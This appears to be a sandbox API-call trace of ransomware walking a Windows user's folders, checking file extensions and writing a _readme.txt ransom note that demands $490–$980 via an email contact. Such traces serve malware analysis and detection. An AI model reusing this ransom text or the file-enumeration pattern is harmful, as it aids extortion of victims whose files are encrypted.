lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0124.408] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0124.408] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0124.408] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0124.408] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0124.408] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.409] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.409] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.409] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0124.409] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.409] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.409] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.409] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.409] PathFindFileNameW (pszPath="") returned="" [0124.409] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.411] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.411] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0124.411] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0124.411] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0124.411] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.412] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.412] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\") returned="fqXOARG\\" [0124.412] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0124.412] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.412] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.412] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.412] PathFindFileNameW (pszPath="") returned="" [0124.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1103b70, ftCreationTime.dwHighDateTime=0x1d5e282, ftLastAccessTime.dwLowDateTime=0x62d214c0, ftLastAccessTime.dwHighDateTime=0x1d5e7f0, ftLastWriteTime.dwLowDateTime=0x62d214c0, ftLastWriteTime.dwHighDateTime=0x1d5e7f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.414] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.415] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.415] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\") returned="FtYbuj0\\" [0124.415] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0124.415] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.415] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.415] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.415] PathFindFileNameW (pszPath="") returned="" [0124.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38953bc0, ftCreationTime.dwHighDateTime=0x1d5dca0, ftLastAccessTime.dwLowDateTime=0x8455ec70, ftLastAccessTime.dwHighDateTime=0x1d5e39a, ftLastWriteTime.dwLowDateTime=0x8455ec70, ftLastWriteTime.dwHighDateTime=0x1d5e39a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.418] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.418] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.418] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\") returned="hmNSQ\\" [0124.418] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0124.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.419] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.419] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.419] PathFindFileNameW (pszPath="") returned="" [0124.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hmNSQ\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf44f740, ftCreationTime.dwHighDateTime=0x1d5e06c, ftLastAccessTime.dwLowDateTime=0x35738480, ftLastAccessTime.dwHighDateTime=0x1d5e2a2, ftLastWriteTime.dwLowDateTime=0x35738480, ftLastWriteTime.dwHighDateTime=0x1d5e2a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.419] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.420] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\") returned="ZdwCD4E1y\\" [0124.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0124.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.420] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.420] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.420] PathFindFileNameW (pszPath="") returned="" [0124.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.422] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.423] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.423] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\") returned="JTvtdCNymG6\\" [0124.423] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0124.423] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.423] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.423] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.423] PathFindFileNameW (pszPath="") returned="" [0124.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6184b50, ftCreationTime.dwHighDateTime=0x1d5e5bb, ftLastAccessTime.dwLowDateTime=0x6138f7f0, ftLastAccessTime.dwHighDateTime=0x1d5e17e, ftLastWriteTime.dwLowDateTime=0x6138f7f0, ftLastWriteTime.dwHighDateTime=0x1d5e17e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.425] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.426] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.426] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\") returned="kG_PXJbnjFaNbAU-m\\" [0124.426] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0124.426] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.426] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.426] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.426] PathFindFileNameW (pszPath="") returned="" [0124.426] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ee950, ftCreationTime.dwHighDateTime=0x1d5e2ff, ftLastAccessTime.dwLowDateTime=0x52a7f210, ftLastAccessTime.dwHighDateTime=0x1d5deb6, ftLastWriteTime.dwLowDateTime=0x52a7f210, ftLastWriteTime.dwHighDateTime=0x1d5deb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.428] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.429] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.429] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\") returned="LWdYNCSp0w4\\" [0124.429] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0124.429] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.429] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.429] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.429] PathFindFileNameW (pszPath="") returned="" [0124.429] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8baf2ba0, ftCreationTime.dwHighDateTime=0x1d5e5d7, ftLastAccessTime.dwLowDateTime=0x591302a0, ftLastAccessTime.dwHighDateTime=0x1d5e412, ftLastWriteTime.dwLowDateTime=0x591302a0, ftLastWriteTime.dwHighDateTime=0x1d5e412, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.437] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.438] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.438] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.438] PathFindFileNameW (pszPath="") returned="" [0124.438] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.438] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.438] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.439] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.439] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0124.439] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0124.439] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3463848 [0124.439] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0124.439] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0124.439] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.440] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0124.440] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0124.440] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0124.440] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.440] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.441] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.441] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.441] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.441] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.441] PathFindFileNameW (pszPath="") returned="" [0124.441] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.441] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.441] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae2210 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.441] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.441] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0124.441] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0124.442] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.442] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.442] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.442] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.442] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0124.442] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" 